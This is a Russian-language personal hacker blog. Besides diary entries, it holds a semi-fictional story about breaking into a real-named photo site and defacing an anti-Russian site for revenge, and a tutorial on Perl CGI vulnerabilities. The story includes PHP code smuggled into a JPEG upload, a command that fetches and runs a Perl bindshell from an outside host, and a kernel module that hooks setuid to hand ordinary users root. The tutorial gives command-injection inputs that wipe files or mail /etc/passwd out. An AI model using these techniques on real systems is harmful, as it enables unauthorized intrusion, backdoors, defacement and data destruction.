Вконтакт

Вчера меня фрайз с агитировал создать учетку в контакте.
Г) создал. Нашел много знакомых, в том числе и сетевых.
С фотками))
Не, ну я все равно считаю, что соц сети это зло.

Прогулка

Водил только что кота на прогулку.
А он до этого года 3 на улице небыл.
Да уж... у животного был шок.
Я его еще на руках держал...
Вернулись домой оба грязные.
Решил его помыть еще.
Все руки теперь красные.

Щаз спит на сканере.. г)

Story. Полночный взлом

или вступление.
Салют, читатель! Вот сидел сейчас и думал: какую же все-таки статью лучше написать и пришла мне в голову идея написать
"статью-рассказ". То есть наполовину художественный наполовину технический. В общем смотрите что получилось.


BODY.
Горящие часы на скринсейвере показывали 12:10.
Макс скучал.
В сети почти не кого не было. Лениво просматривая новостную ленту секлаба он уже собирался выключать компьютер,
но тут в онлайн вышел его хороший знакомый – kerny.

С ним он познакомился довольно давно. Когда то они состояли в одной тиме, которая впоследствии распалась.

Решив немного поболтать, Макс написал ему. Поговорив на отвлеченные темы, kerny кинул Максиму ссылку на один сайт -
englishrussia.com, отправив при этом несколько ругательств в сторону его создателей.
Пробежавшись по контенту, стало понятно, что смысловая нагрузка ресурса направлена на антироссийскую политику.
Автор активно «обсирал» все, что касается России.
Не сказать, что Макс был патриотом, но было обидно наблюдать, как его родину обливают грязью.
Мысль тут же мелькнула в его голове:

«а почему бы не…»

Написав об этом kerny, Максим узнал что тот тоже об этом думал. Но на сайте стоял WordPress 2.7.1, а толковых сплоитов
под него не было. Делать было нечего, а спать не хотелось, поэтому Макс решил копнуть глубже и посмотреть этот ресурс
под более сильным зумом. ... Несмотря на отрытое окно в комнате было жарко. Сходив за газировкой Максим начал изучение
сайта. Воспользовавшись инструментов madnet –a «Google madnet Scaner», он просканировал ресурс. Скрипт определил, что
на сервере находится еще один сайт - pixdaus.com.
Он представлял из себя что-то вроде хостинга для фотографий.

«Угу, тут то можно найти дыру, для начала стоит поискать админку»

Сразу проверив адреса ...

www.pixdaus.com/admin
www.pixdaus.com/admin.php

...Макса ждало разочарование — «Ошибка 404», страниц не существовало.
Тогда он попробовал найти админ-панель через Google:

site: pixdaus.com admin.

К сожалению и это не помогло.
Но беглый осмотр движка дал свои плоды.
После обращения к адресу:


index.php?fun=66'&from=favourites

Сайт выдавал кучу непонятной информации. Макс обрадовался, предвкушая «легкую скулю» но как выяснилось он ошибся. К sql инъекциям
это отношение не имело. Сервер похоже выплевывал http заголовки входящего и еще кое-что непонятное.Вот кусок того, что увидел Максим: HTTP_USER_AGENT=Mozilla/5.0 (Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072807 ASPLinux/3.0.1-1.0.140asp
FirefHTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

«Возможно здесь есть место xss»

Открыв плагин «LiveHTTPHeaders», Макс изменил заголовок.
Он ввел в поле HTTP_USER_AGENTнебольшой скрипт:

HTTP_USER_AGENT: [script]alert(/fuke in/)[/script]

В ответ на это он увидел сообщение с текстом «/fukein/»

«Такс... уже кое-что, но с такой xss мало что реализуешь»

Поизучав еще немного те данные, которые выплюнул сервер, взломщик обнаружил интересную фичу:

.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=site:www.asu.ru admin

«Это ведь тот запрос, который я отдавал в гугл! Может удастся получить активку?»

Улыбнувшись, Макс вбил в Google такой запрос

site: pixdaus.com document [script]alert(/fuke in/)[/script]

Но результат был нулевым.
Поисковик не мог найти на сайте все содержимое запроса.

«Значит нужно кое-что урезать»

Немного помозговав, Максим сделал так:

site:www.asu.ru document -[script]alert(/fuke in/)[/script]"

Зайдя по одной из ссылок, он вернулся к странице с уязвимостью.
Обновив, ее он увидел знакомое сообщение.

«Ну что ж, активная xss уже неплохо, но оставим это на крайний случай».

Погуляв по страницам сайта, Макс нашел форму для регистрации.
Создав новый аккаунт, взломщик заметил, что есть возможность заливать фотографии на сервер.
«Хм… а что если возможно выполнить php код?»

Записав в файл небольшой скрипт, Максим переименовал его так:

photo.php.jpg

Но смена расширение не дала результатов.
Макс хотел уже оставить идею с картинкой, но решил попробовать еще один способ.
Открыв картинку в программе WinHex и перейдя в конец файла, он нашел значения «FF D9» и затер их нулями. После этого он вставил
свой php код в конец файла в формате ascii. А значения FF D9 добавил после кода.

«Ну что ж попробуем»

Загрузив фотографию, Макс был приятно удивлен. Код в jpg картинке работал.

... Откинувшись на спинку кресла, Максим закрыл глаза ладонями.
Он всегда так делал после наряженной работы.

«Пора что-нибудь поесть и отдохнуть заодно»

Резко встав с кресла, Макс отправился на кухню.
Кот сидевший рядом тут же рванул за ним, надеясь что хозяин поделится с ним.

Пока кипел чайник, Максим сделал себе бутерброд с сыром, дав кусочек коту.

Последнее время жизнь складывалась не лучшим образом. Все друзья и знакомые отворачивались от него. Хотя нет… У него были друзья,

но только в сети. Только их он считал настоящими друзьями.
Один институтский товарищ как-то сказал ему:

«Со своими компьютерами ты когда-нибудь до суицида доиграешься»

Максим не принимал эти слова всерьез… или просто не хотел принимать.
С каждым днем он все глубже и глубже погружался в виртуальный мир.
Забывая при этом реальный. Последние 4 месяца Макс редко выходил из квартиры…. Если выходил, то только купить пачку чая и
-нибудь полуфабрикат. «Ладно, хватит. Завтра схожу в парк, прогуляюсь» - подумал он, прогоняя тревожные мысли.

В этот момент чайник пикнул, информируя о том, что вода вскипела.
Максим распечатал пачку зеленого чая и насыпал заварку в кружку.
Он страдал гипертонией, и врачи рекомендовали пить зеленый чай для нормализации давления.
Прихватив бутерброд, Макс отправился в свою комнату. На экране уже появился скринсейвер с горящими часами. Они показывали 12:59.
За окном слышались гогот пьяной молодежи.

«Бля, им обязательно бухать около моего дома?»

Дожевывая бутерброд, Максим нажал пару раз на Enter, избавляясь от заставки.

... Включив своего любимого «Карандаша» он подумал:

«Итак, у нас есть возможность выполнять php код, теперь стоит залить биндшелл на сервер, для более удобной работы»

Открыв картинку еще раз Макс дописал такой код:

[? system (‘cd /tmp; wget http://stanger.hr/bind.pl;chmod 755 bind.pl; perl bind.pl ‘);?]

Это должно было загрузить и запустить bindshell на Perl.
Запустив консоль, Максим набрал:

nc 66.90.103.79 21656/>

И скрестив пальцы, стал ждать. Была опасность, что файрвол будет резать подключения и придется делать бэкконнект. Но к счастью
подключение произошло удачно. У Макса был шелл доступ.

Первым делом команда who...

[STR]$ who
FraCrEx :0 2009-07-02 1.05
...показала что мы одни в системе.

«Отлично, теперь можно не торопиться, интересно какие у нас права»

[STR]$ id
uid=10(FraCrEx) gid=10(FraCrEx) группы=10FraCrEx) context=unconfined_u:system_r:hotplug_t:s0-s0:c0.c1023
На счастье uname показала, что на сервере крутилась Linux 2.6.30.
Под него был недавно написан эксплоит, который можно найти
здесь

Залив исходник на сервер Макс попытался его скомпилировать.

[STR]$gcc –sploit sploit.c

Но компилятор упорно не хотел собирать программу.

Открыв код, взломщик нашел то, что мешало компиляции.
Во-первых, в условии была синтаксическая ошибка:

If(result=NULL)
{action}

Во вторых, главная функция не принимало аргументов, хотя в ходе эксплоита они использовались.

К тому же в начале кода присутствовала такая строка:

System("rm –fr *")

«Очевидно, разработчик хотел отпугнуть скрипт-кидди»

После исправления ошибок, эксплоит успешно скомпилировался и Макс получил Root.
Увлекшись взломом, он забыл о главной цели – сайт с антироссийским содержанием.

«Теперь можно устроить маленькую месть»

Найдя на сервере нужные файлы, взломщик повесил простенький дефейс

Можно было потереть всю базу сайта, но Максим отказался от этой идеи.

«Хм... админа так и нет. Как бы еще напакостить…?»

Тут Максу пришла одна идея.

«Что если подшутить над админом?
Пусть root пользователь сможет войти только с правами nobody, а все остальные наоборот – root»

Для этого нужно было подключить к ядру модуль с нужным кодом.
Порывшись у себя в файлах, Макс нашел исходник, который реализует весь прикол:

#define __KERNEL__
#define MODULE

#include
#include
#include
#include
#include
#include
extern void *sys_call_table[];
int (*orig_setuid)(uid_t);
int change_setuid(uid_t uid)
{
switch (uid)
{
case 0:
current->uid = 99;
current->euid = 99;
current->gid = 99;
current->egid = 99;
break;
default:
current->uid = 0;
current->euid = 0;
current->gid = 0;
current->egid = 0;
break;
}
return 0;
}
int init_module(void)
{
orig_setuid = sys_call_table[__NR_setuid32];
sys_call_table[__NR_setuid32] = change_setuid;
return 0;
}
void cleanup_module(void)
{
sys_call_table[__NR_setuid32] = orig_setuid;
}
Скомпилировал его:

[STR]$ gcc -o code.o -c code.c

Далее скопировал в каталог /lib/midules

cp code.o /lib/modules

И загрузил в ядро

insmod code.o

«Пусть админ побесится»

Закрыв окно терминала, Максим устало взглянул на часы.
Было 2:23.
Отправив kerny в оффлайн сообщение об удачном дефейсе, он выключил компьютер.
Можно было идти спать.
Спихнув с софы кота, Макс упал на подушку и заснул.

UTRO или послесловие
В этом рассказе я позволил себе маленький эксперимент. Я взял что-то из реальности, что то сам выдумал и на основе этого составил весь текст. В любом случае, приведенные в рассказе уязвимости встречались мне реально. Кстати, дело в том, что у меня нет даже среднего образования, так что прошу прощения за мою некрасивую речь. Ну, вот и все. Жду комментариев и жесткой критики.

StraNger aka reaL StraNger

Баги в исходных кодах. Part 2

Эта статья является логическим продолжением предыдущей. Если вы читали ее, то помните, что мы говорили об уязвимостях в исходных кодах на языке Си. В этой статье я хочу поговорить об ошибках в CGI программах. Как показывает практика, баги в скриптах не уступают по своей опасности уязвимостям в прикладных программах.
Мы поговорим о perl скриптах. Возможно, вы скажете, что perl уже устарел и в web он мало где используется. Но все-таки он есть. И думаю, знание слабых мест этого языка никому не помешает.
B O D Y
Perl расшифровывается, как Practical Extraction and Report Language (практический язык для извлечения данных и составления отчётов).  Он простой, мощный и небезопасный. Некоторые дыры в скриптах на перл похожи на дыры в php скриптах.
К этому можно отнести SQL injection или  XSS. Но есть и индивидуальные ошибки. Например, символ конвейера   перл может воспринять как команду на запуск приложения. Кстати, в перл не может быть переполнения буфера в отличие от того же Си.
Это все разберём ниже. Прежде чем рассказывать про аудит кода, я покажу и расскажу принцип работы CGI сканеров.
CGI сканеры
Как и любое другое действие, поиск уязвимостей можно автоматизировать. Одним из решений является применение CGI сканеров (сейчас их называют сканеры безопасности).
В состав классического сканера обязательно входит база наименований уязвимых скриптов. База составлена с помощью нашего любимого багтрака. Так можно составить свою базу. Сканеры берут данные из базы и производят запрос к нужному серверу. Если сервер отвечает, что файл такой есть, можно пойти и найти описание уязвимости. Часто такие сканнеры постепенно обрастают разными функциям вроде составление листинга директорий сайта либо Revers IP(определение какие еще соседние  домены зарегистрированы на сервере)
Разберём несколько программ:
Nikto – конечно, эта программа  должна быть на первом месте. Написана на перл (кстати). Есть поддержка SSL. Проверяет хост на известные уязвимости, также на устаревшее ПО. Есть как для linux так и для Winдows. Кстати nikto построен на основе легендарного (но, к сожалению, устаревшего) сканера Whisker.
VOID EYE-работает через прокси. Поддержка скинов.
UKR Cgi Scanner - еще один. Написан на Perl. Имеет html дизайн.
Автоматизация это конечно хорошо, но вы не должны забывать, что сканеры не дают 100% гарантии. Программы пишут люди, а людям свойственно ошибаться. Поэтому полагаться целиком на сканеры не стоит.
А теперь поговорим о поиске багов aka «багоискательстве».
Аудит кода
В прошлой статье я говорил о том, что нужно проверять все входящие данные. Как ни странно, но на CGI программы это правило тоже действует. Даже, пожалуй, нужно еще более жестко следить за входящей информацией. Обычно  пользователь вводит ее в текстовое поле, либо в адресной строке (при GET запросе).
Самая старая и известная бага: при открытии файла подставляем “|”(pipe – пайп) и выполняем команды на сервере.
Работает это через функцию open. Приведу пример:
#тут получаем данные в переменную, например из веб формы
$n=$F{data}
#Открываем
open(TEXT,$n)
#считываем
while()
{

Выводим.
print $_;
}

Если ввести ,например, ls| получим листинг директории (если мы в *nix системе) Т.е. выполняется консольная команда, если пристыковать к ней  «|» Правда, уязвимость постепенно уходит в историю.
Тут как раз можно поговорить про «пайпы»(|); При работе с open можно использовать опцию «-е»
Он проверяет, есть ли в переменной pipe. Если есть, дает пинка. Пример:
$n=$F{data}
if(!(-e $n)) die("нАз засекли");
open(TEXT,$n);

Но, естественно, эту защиту можно обойти с помощью NULL byte ():
$n="/bin/ls\0 /etc|";
Теперь как только опция “-e” увидит null byte, она остановит обработку. И pipe не будет замечен. Вот так.
Кстати, функцией open можно читать файлы на сервере. Если не смотреть на технические детали, то эта ошибка очень похожа на php inсlude bug.
Главная проблема безопасности в perl -  это передача оболочке ОС пользовательских переменных без их проверки и использование опасных функций.
К таковым можно отнести те, которые работают с процессами и командами ОС, а это: exec(),system(),fork(),readpipe()
Сами понимаете, если аргументы, например, функции system, проверяться не будут, то у нас появляются очень интересные возможности.
Также существует функции eval (php программисты меня поймут), дело в том, что функция выполняет код, который передается ей в качестве аргумента. Естественно, если не производить фильтрации, то взломщик сможет выполнить произвольный код.
В перле есть такая вещь как обратные кавычки(“).Все, что в них заключено, отправляется на выполнение в shell оболочку. Понимаете, к чему я клоню? Нет проверки входящих данных – и шелл наш.
Часто нерадивые программисты забывают фильтровать данные Cookies. А ведь изменить HTTP запрос и поставить в «куки» кавычку совсем не сложно.
Если используются переменные окружения, то, возможно, они могут тоже представлять опасность. Например, некоторые можно перезаписать.
Хорошо, если в скрипте присутствует фильтрация, но фильтроваться могут не все символы. Нужно всегда внимательно смотреть на это. Возможно, разработчик кое- что пропустил.
Вот примерный список символов, которые нужно фильтровать:
$filename =~/[<>\|\-&\.\\\/\0]/
Как и в php или в asp, в perl возможен sql injection bug.
Давайте разберёмся подробнее, как перл работает с mysql. А потом поговорим про инъекции.
Для работы с СУБД mysql используется модуль mysql(use mysql)
Вот так подключаемся к базе :
$db = Mysql->Connect($host,$database,$password,$user);
Далее с помощью ListFields мы занесем в переменную $s кол-во столбцов и подобную информацию о таблице
$s = ListFields $db $table;
А вот так мы выбираем данные:
@arr = @{$s->name}; #массив имен столбцов.
Ну и самое важное – сам запрос к БД:
$s = $db->Query($sq);
А вот такой код будет уязвим:
#Тут мы НЕ фильтруем $d
$ = $db->Query("SELECT * FROM Widget_Table WHERE widget_id = $id") or die $Mysql::db_errstr;
Ну и далее подставляем кавычку и пытаемся вытащить данные из базы.
Practice
Ну что ж, пришло время практики. Как и в прошлой статье, я буду выкладывать отрывки уязвимых программ. Ваша задача найти уязвимость. Если возникнут проблемы, вы как всегда сможете прочесть решение.
$status=$FORMA{stat}'
$t=$FORMA{'text'};
print "Output text\n";
if($status)
{
$t=~s/([.;\&<>\|\\\?~^\{\}\[\]\(\)*\n\r])/g;}
open(TEXT,$t) or die("error, error, error");
while()
{print $_}
}

Как видите, фильтрация есть. Но не безопасная.
Не фильтруются, например, символы ‘`’ или ‘0′
Взломщик может отправить что- то вроде: rm -rf/
или
./../../var/log/boot.log
Кстати, '/' тоже не фильтруется
$a=param('oldf')
$b=param('newf');
system "mv $a $b";

А тут бросается в глаза отсутствие фильтрации. К тому же используется опасная функция system()
Если введем что нибудь типа:
/t.txt; rm -rf/
то для администратора этот день закончится неудачно.
$mail='/usr/sbin/sendmail';
$m=FROMA{'usrs'};
open(MAIL,"|$mail $m");
#Какой то вывод...
#..............
close(MAIL);

Опять же нет фильтров.
Да и происходит работа с внешними приложениями(sendmail). Что само по себе уже опасно.
А если мы введем, например, такую строку:
badkod@mail.ru;mail coolkoder@cool.ru
К нам на e-mail (coolkoder@cool.ru) придет содержимое файла с именами пользователей системы(/etc/passwd)
На этом все.
O U T R O
В последнее время php и asp постепенно вытесняют perl. Думаю это правильно. Ведь перл очень уязвим. В этом есть и доля вины разработчиков языка. В нем полно опасных функций, которые открыто взаимодействуют с системой. Плюс неопытные программисты.
Но это вовсе не значит, что perl себя изжил. В системном администрировании он незаменим.
Ну что ж. Надеюсь, сегодня вы открыли для себя что-то полезное, и, если будете программировать CGI приложение, не допустите элементарных оплошностей.

StraNger aka reaL StraNger

New blog

Кравлер создал блог
its-web.blogspot.com
Интересно будет писать? или только на пару постов хватит.
B фрайзер тож:
in-centre-event.blogspot.com

Этапы моей жизни

САБЖ:

0.Рождение. Т.е. появление в сети. Я еще не зарегистрирован не на одном портале. Пока тусуюсь на mail.ru в социальной сети "хакеры,софт для хакеров".
Там встречаю одного чела. Пусть будет Дима. С ним начинаем общаться. Впоследствии даже замутим маленький сайтик. Постепенно начинаем общаться меньше.
1. Встречаю там же шайтана девила и максима, мои новые знакомые. Общаемся
2. Регистрация на hackzona.ru. Все мои друзья и знакомые впоследствии будут от туда. Становлюсь модером на хз.
3.Ребята с хз организовывают тиму - Network Angels Team. Потом завут меня. Живем и процветаем. Тима распадается, все разбегаются по своим углам. Я возвращаюсь на хз. Все также модер.
4. Увольняюсь из модеров. Иду странствовать по интернету. В это время я почти не с кем не общался. Только читал маны.
5.Я опять модер на хз. Живу там.
6.Парни из Network Angels Team(экс) организовывают новую тиму GR_TEAM Я туда вступаю. живу
Ну вот сейчас нахожусь на 6 этапе.

010809

Простнулся сегодня с головной болью. ППц. Плохой сон негативно влияет на мое здоровье. Хотел чая зеленого выпить, а он сцуко закончился. Вот сижу, еще рядом дом ремонтируют - звук просто отвратительный.
Кстати, вчера отправил статью в газету. Сказали будут рассматривать. Ждемс...

Copyleft (Ɔ); StraNger ideas